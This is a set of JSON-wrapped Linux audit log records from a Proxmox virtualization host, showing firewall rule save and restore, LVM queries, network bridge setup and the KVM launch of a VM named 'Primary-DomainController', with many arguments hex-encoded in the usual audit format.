{"@timestamp":1781964348926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964348.926:60650): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055370,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.370:63899): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964348926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964348.926:60649): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055363,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.363:63898): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964348925,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964348.925:60648): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055353,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.353:63897): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964348902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964348.902:60647): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055344,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.344:63896): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964348902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964348.902:60646): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055334,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.334:63895): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964348902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964348.902:60645): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965055326,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.326:63894): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964345318,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.318:60644): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965055316,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.316:63893): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964345311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.311:60643): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965055309,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.309:63892): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964345309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.309:60642): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965055303,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.303:63891): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964345309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.309:60641): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965055296,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.296:63890): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964345300,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.300:60640): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965055295,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.295:63889): argc=1 a0=\"date\""} {"@timestamp":1781964345288,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.288:60639): proctitle=\"ip6tables-save\""} {"@timestamp":1781965055286,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.286:63887): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964345275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.275:60638): proctitle=\"iptables-save\""} {"@timestamp":1781965055269,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.269:63886): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964345260,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.260:60637): proctitle=\"ip6tables-save\""} {"@timestamp":1781965055235,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.235:63885): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964345250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.250:60636): proctitle=\"iptables-save\""} {"@timestamp":1781965055228,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.228:63884): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964345245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.245:60635): proctitle=\"ebtables-restore\""} {"@timestamp":1781965055215,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.215:63883): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964345243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.243:60634): proctitle=\"ebtables-restore\""} {"@timestamp":1781965055196,"@rawstring":"node=pve type=EXECVE msg=audit(1781965055.196:63882): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964345236,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.236:60633): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965054757,"@rawstring":"node=pve type=EXECVE msg=audit(1781965054.757:63881): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964345227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.227:60632): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965054703,"@rawstring":"node=pve type=EXECVE msg=audit(1781965054.703:63880): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964345220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.220:60631): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965053504,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.504:63879): argc=2 a0=\"zstd\" a1=\"--threads=1\""} {"@timestamp":1781964345203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.203:60630): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965053377,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.377:63877): argc=6 a0=\"/sbin/tc\" a1=\"qdisc\" a2=\"del\" a3=\"dev\" a4=\"tap877i0\" a5=\"root\""} {"@timestamp":1781964345188,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.188:60629): proctitle=697073657400726573746F7265"} {"@timestamp":1781965053374,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.374:63876): argc=3 a0=\"sh\" a1=\"-c\" a2=2F7362696E2F74632071646973632064656C2064657620746170383737693020726F6F74203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781964345168,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.168:60628): proctitle=\"ip6tables-save\""} {"@timestamp":1781965053351,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.351:63875): argc=6 a0=\"/sbin/tc\" a1=\"qdisc\" a2=\"del\" a3=\"dev\" a4=\"tap877i0\" a5=\"ingress\""} {"@timestamp":1781964345153,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.153:60627): proctitle=\"iptables-save\""} {"@timestamp":1781965053348,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.348:63874): argc=3 a0=\"sh\" a1=\"-c\" a2=2F7362696E2F74632071646973632064656C2064657620746170383737693020696E6772657373203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781964345146,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.146:60626): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965053337,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.337:63873): argc=12 a0=\"/sbin/tc\" a1=\"filter\" a2=\"del\" a3=\"dev\" a4=\"tap877i0\" a5=\"parent\" a6=\"ffff:\" a7=\"protocol\" a8=\"all\" a9=\"pref\" a10=\"50\" a11=\"u32\""} {"@timestamp":1781964345140,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.140:60625): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965053333,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.333:63872): argc=3 a0=\"sh\" a1=\"-c\" a2=2F7362696E2F74632066696C7465722064656C2064657620746170383737693020706172656E7420666666663A2070726F746F636F6C20616C6C207072656620353020753332203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781964345138,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.138:60624): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965053301,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.301:63871): argc=9 a0=\"/sbin/tc\" a1=\"class\" a2=\"del\" a3=\"dev\" a4=\"tap877i0\" a5=\"parent\" a6=\"1:\" a7=\"classid\" a8=\"1:1\""} {"@timestamp":1781964345138,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.138:60623): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965053291,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.291:63870): argc=3 a0=\"sh\" a1=\"-c\" a2=2F7362696E2F746320636C6173732064656C2064657620746170383737693020706172656E7420313A20636C617373696420313A31203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781964345132,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.132:60622): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965053270,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.270:63869): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"tap877i0\" a4=\"master\" a5=\"fwbr877i0\""} {"@timestamp":1781964345122,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.122:60621): proctitle=\"ip6tables-save\""} {"@timestamp":1781965053223,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.223:63868): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"tap877i0\" a4=\"mtu\" a5=\"1500\""} {"@timestamp":1781964345110,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.110:60620): proctitle=\"iptables-save\""} {"@timestamp":1781965053198,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.198:63866): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwln877i0\" a4=\"master\" a5=\"fwbr877i0\""} {"@timestamp":1781964345100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.100:60619): proctitle=69707365740073617665"} {"@timestamp":1781965053192,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.192:63865): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwln877i0\" a4=\"mtu\" a5=\"1500\""} {"@timestamp":1781964345087,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.087:60618): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965053177,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.177:63863): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwpr877p0\" a4=\"master\" a5=\"vmbr0\""} {"@timestamp":1781964345074,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964345.074:60617): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965053171,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.171:63862): argc=5 a0=\"/usr/lib/systemd/systemd-sysctl\" a1=\"--prefix=/net/ipv4/conf/fwln877i0\" a2=\"--prefix=/net/ipv4/neigh/fwln877i0\" a3=\"--prefix=/net/ipv6/conf/fwln877i0\" a4=\"--prefix=/net/ipv6/neigh/fwln877i0\""} {"@timestamp":1781964344948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964344.948:60616): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965053167,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.167:63861): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwpr877p0\" a4=\"mtu\" a5=\"1500\""} {"@timestamp":1781964344904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964344.904:60615): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965053166,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.166:63860): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"start\""} {"@timestamp":1781964343871,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964343.871:60614): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053157,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.157:63857): argc=5 a0=\"/usr/lib/systemd/systemd-sysctl\" a1=\"--prefix=/net/ipv4/conf/fwpr877p0\" a2=\"--prefix=/net/ipv4/neigh/fwpr877p0\" a3=\"--prefix=/net/ipv6/conf/fwpr877p0\" a4=\"--prefix=/net/ipv6/neigh/fwpr877p0\""} {"@timestamp":1781964343871,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964343.871:60613): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053158,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.158:63858): argc=2 a0=\"realpath\" a1=\"/sys/devices/virtual/net/fwln877i0/../..\""} {"@timestamp":1781964343871,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964343.871:60612): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053153,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.153:63855): argc=2 a0=\"/bin/sh\" a1=\"/usr/lib/udev/virtual-function-naming-helper\""} {"@timestamp":1781964343858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964343.858:60611): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053151,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.151:63854): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"start\""} {"@timestamp":1781964343858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964343.858:60610): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053153,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.153:63856): argc=7 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwpr877p0\" a4=\"up\" a5=\"mtu\" a6=\"1500\""} {"@timestamp":1781964343857,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964343.857:60609): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053147,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.147:63852): argc=7 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwln877i0\" a4=\"up\" a5=\"mtu\" a6=\"1500\""} {"@timestamp":1781964339647,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964339.647:60608): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965053147,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.147:63851): argc=2 a0=\"realpath\" a1=\"/sys/devices/virtual/net/fwpr877p0/../..\""} {"@timestamp":1781964339647,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964339.647:60607): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965053145,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.145:63850): argc=2 a0=\"/bin/sh\" a1=\"/usr/lib/udev/virtual-function-naming-helper\""} {"@timestamp":1781964339644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964339.644:60606): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965053120,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.120:63849): argc=14 a0=\"/sbin/ip\" a1=\"link\" a2=\"add\" a3=\"name\" a4=\"fwln877i0\" a5=\"mtu\" a6=\"1500\" a7=\"type\" a8=\"veth\" a9=\"peer\" a10=\"name\" a11=\"fwpr877p0\" a12=\"mtu\" a13=\"1500\""} {"@timestamp":1781964338848,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964338.848:60605): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053120,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.120:63848): argc=5 a0=\"/usr/lib/systemd/systemd-sysctl\" a1=\"--prefix=/net/ipv4/conf/fwbr877i0\" a2=\"--prefix=/net/ipv4/neigh/fwbr877i0\" a3=\"--prefix=/net/ipv6/conf/fwbr877i0\" a4=\"--prefix=/net/ipv6/neigh/fwbr877i0\""} {"@timestamp":1781964338848,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964338.848:60604): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053118,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.118:63847): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"start\""} {"@timestamp":1781964338847,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964338.847:60603): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053114,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.114:63845): argc=7 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwbr877i0\" a4=\"up\" a5=\"mtu\" a6=\"1500\""} {"@timestamp":1781964338835,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964338.835:60602): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053116,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.116:63844): argc=2 a0=\"realpath\" a1=\"/sys/devices/virtual/net/fwbr877i0/../..\""} {"@timestamp":1781964338835,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964338.835:60601): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053114,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.114:63843): argc=2 a0=\"/bin/sh\" a1=\"/usr/lib/udev/virtual-function-naming-helper\""} {"@timestamp":1781964338835,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964338.835:60600): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965053108,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.108:63842): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"add\" a3=\"fwbr877i0\" a4=\"type\" a5=\"bridge\""} {"@timestamp":1781964336057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.057:60599): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965053092,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.092:63839): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964336054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.054:60598): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965053086,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.086:63838): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964336052,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.052:60597): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965053079,"@rawstring":"node=pve type=EXECVE msg=audit(1781965053.079:63836): argc=9 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"tap877i0\" a4=\"up\" a5=\"promisc\" a6=\"on\" a7=\"mtu\" a8=\"1500\""} {"@timestamp":1781964336052,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.052:60596): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965052024,"@rawstring":"node=pve type=EXECVE msg=audit(1781965052.024:63835): argc=5 a0=\"/usr/lib/systemd/systemd-sysctl\" a1=\"--prefix=/net/ipv4/conf/tap877i0\" a2=\"--prefix=/net/ipv4/neigh/tap877i0\" a3=\"--prefix=/net/ipv6/conf/tap877i0\" a4=\"--prefix=/net/ipv6/neigh/tap877i0\""} {"@timestamp":1781964336049,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.049:60595): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965052021,"@rawstring":"node=pve type=EXECVE msg=audit(1781965052.021:63834): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"start\""} {"@timestamp":1781964336042,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.042:60594): proctitle=\"ip6tables-save\""} {"@timestamp":1781965052018,"@rawstring":"node=pve type=EXECVE msg=audit(1781965052.018:63832): argc=2 a0=\"realpath\" a1=\"/sys/devices/virtual/net/tap877i0/../..\""} {"@timestamp":1781964336036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.036:60593): proctitle=\"iptables-save\""} {"@timestamp":1781965052018,"@rawstring":"node=pve type=EXECVE msg=audit(1781965052.018:63831): argc=2 a0=\"/bin/sh\" a1=\"/usr/lib/udev/virtual-function-naming-helper\""} {"@timestamp":1781964336030,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.030:60592): proctitle=\"ip6tables-save\""} {"@timestamp":1781965052016,"@rawstring":"node=pve type=EXECVE msg=audit(1781965052.016:63830): argc=3 a0=\"/usr/bin/perl\" a1=\"/usr/libexec/qemu-server/pve-bridge\" a2=\"tap877i0\""} {"@timestamp":1781964336022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964336.022:60591): proctitle=\"iptables-save\""} {"@timestamp":1781965051943,"@rawstring":"node=pve type=EXECVE msg=audit(1781965051.943:63829): argc=75 a0=\"/usr/bin/kvm\" a1=\"-id\" a2=\"877\" a3=\"-name\" a4=\"Primary-DomainController,debug-threads=on\" a5=\"-no-shutdown\" a6=\"-chardev\" a7=\"socket,id=qmp,path=/var/run/qemu-server/877.qmp,server=on,wait=off\" a8=\"-mon\" a9=\"chardev=qmp,mode=control\" a10=\"-chardev\" a11=\"socket,id=qmp-event,path=/var/run/qmeventd.sock,reconnect-ms=5000\" a12=\"-mon\" a13=\"chardev=qmp-event,mode=control\" a14=\"-pidfile\" a15=\"/var/run/qemu-server/877.pid\" a16=\"-daemonize\" a17=\"-smbios\" a18=\"type=1,uuid=56cd4235-c22d-4705-9df5-54b64687e66b\" a19=\"-smp\" a20=\"1,sockets=1,cores=1,maxcpus=1\" a21=\"-nodefaults\" a22=\"-boot\" a23=\"menu=on,strict=on,reboot-timeout=1000,splash=/usr/share/qemu-server/bootsplash.jpg\" a24=\"-vnc\" a25=\"unix:/var/run/qemu-server/877.vnc,password=on\" a26=\"-cpu\" a27=\"qemu64,+aes,+pni,+popcnt,+sse4.1,+sse4.2,+ssse3\" a28=\"-m\" a29=\"2048\" a30=\"-object\" a31=7B226964223A227468726F74746C652D64726976652D69646532222C226C696D697473223A7B7D2C22716F6D2D74797065223A227468726F74746C652D67726F7570227D a32=\"-object\" a33=\"iothread,id=iothread-virtioscsi0\" a34=\"-object\" a35=7B226964223A227468726F74746C652D64726976652D7363736930222C226C696D697473223A7B7D2C22716F6D2D74797065223A227468726F74746C652D67726F7570227D a36=\"-global\" a37=\"PIIX4_PM.disable_s3=1\" a38=\"-global\" a39=\"PIIX4_PM.disable_s4=1\" a40=\"-device\" a41=\"pci-bridge,id=pci.1,chassis_nr=1,bus=pci.0,addr=0x1e\" a42=\"-device\" a43=\"pci-bridge,id=pci.2,chassis_nr=2,bus=pci.0,addr=0x1f\" a44=\"-device\" a45=\"pci-bridge,id=pci.3,chassis_nr=3,bus=pci.0,addr=0x5\" a46=\"-device\" a47=\"vmgenid,guid=4c583b4e-472e-4194-9995-9709ab97cd35\" a48=\"-device\" a49=\"piix3-usb-uhci,id=uhci,bus=pci.0,addr=0x1.0x2\" a50=\"-device\" a51=\"usb-tablet,id=tablet,bus=uhci.0,port=1\" a52=\"-device\" a53=\"VGA,id=vga,bus=pci.0,addr=0x2\" a54=\"-device\" a55=\"virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x3,free-page-reporting=on\" a56=\"-iscsi\" a57=\"initiator-name=iqn.1993-08.org.debian:01:c6d32950ac1\" a58=\"-blockdev\" a59=7B22647269766572223A227468726F74746C65222C2266696C65223A7B226361636865223A7B22646972656374223A66616C73652C226E6F2D666C757368223A66616C73657D2C22647269766572223A22726177222C2266696C65223A7B2261696F223A22696F5F7572696E67222C226361636865223A7B22646972656374223A66616C73652C226E6F2D666C757368223A66616C73657D2C22647269766572223A2266696C65222C2266696C656E616D65223A222F7661722F6C69622F767A2F74656D706C6174652F69736F2F7562756E74752D32322E30342E352D6C6976652D7365727665722D616D6436342E69736F222C226E6F64652D6E616D65223A2265313965643230653332393963626365393166393335616166373537613931222C22726561642D6F6E6C79223A747275657D2C226E6F64652D6E616D65223A2266313965643230653332393963626365393166393335616166373537613931222C22726561642D6F6E6C79223A747275657D2C226E6F64652D6E616D65223A2264726976652D69646532222C22726561642D6F6E6C79223A747275652C227468726F74746C652D67726F7570223A227468726F74746C652D64726976652D69646532227D a60=\"-device\" a61=\"ide-cd,bus=ide.1,unit=0,drive=drive-ide2,id=ide2,bootindex=101\" a62=\"-device\" a63=\"virtio-scsi-pci,id=virtioscsi0,bus=pci.3,addr=0x1,iothread=iothread-virtioscsi0\" a64=\"-blockdev\" a65=7B226465746563742D7A65726F6573223A226F6E222C2264697363617264223A2269676E6F7265222C22647269766572223A227468726F74746C65222C2266696C65223A7B226361636865223A7B22646972656374223A747275652C226E6F2D666C757368223A66616C73657D2C226465746563742D7A65726F6573223A226F6E222C2264697363617264223A2269676E6F7265222C22647269766572223A22726177222C2266696C65223A7B2261696F223A22696F5F7572696E67222C226361636865223A7B22646972656374223A747275652C226E6F2D666C757368223A66616C73657D2C226465746563742D7A65726F6573223A226F6E222C2264697363617264223A2269676E6F7265222C22647269766572223A22686F73745F646576696365222C2266696C656E616D65223A222F6465762F7076652F766D2D3837372D6469736B2D30222C226E6F64652D6E616D65223A2265343964303561333966306530653063346639336262383665383666386361222C22726561642D6F6E6C79223A66616C73657D2C226E6F64652D6E616D65223A2266343964303561333966306530653063346639336262383665383666386361222C22726561642D6F6E6C79223A66616C73657D2C226E6F64652D6E616D65223A2264726976652D7363736930222C22726561642D6F6E6C79223A66616C73652C227468726F74746C652D67726F7570223A227468726F74746C652D64726976652D7363736930227D 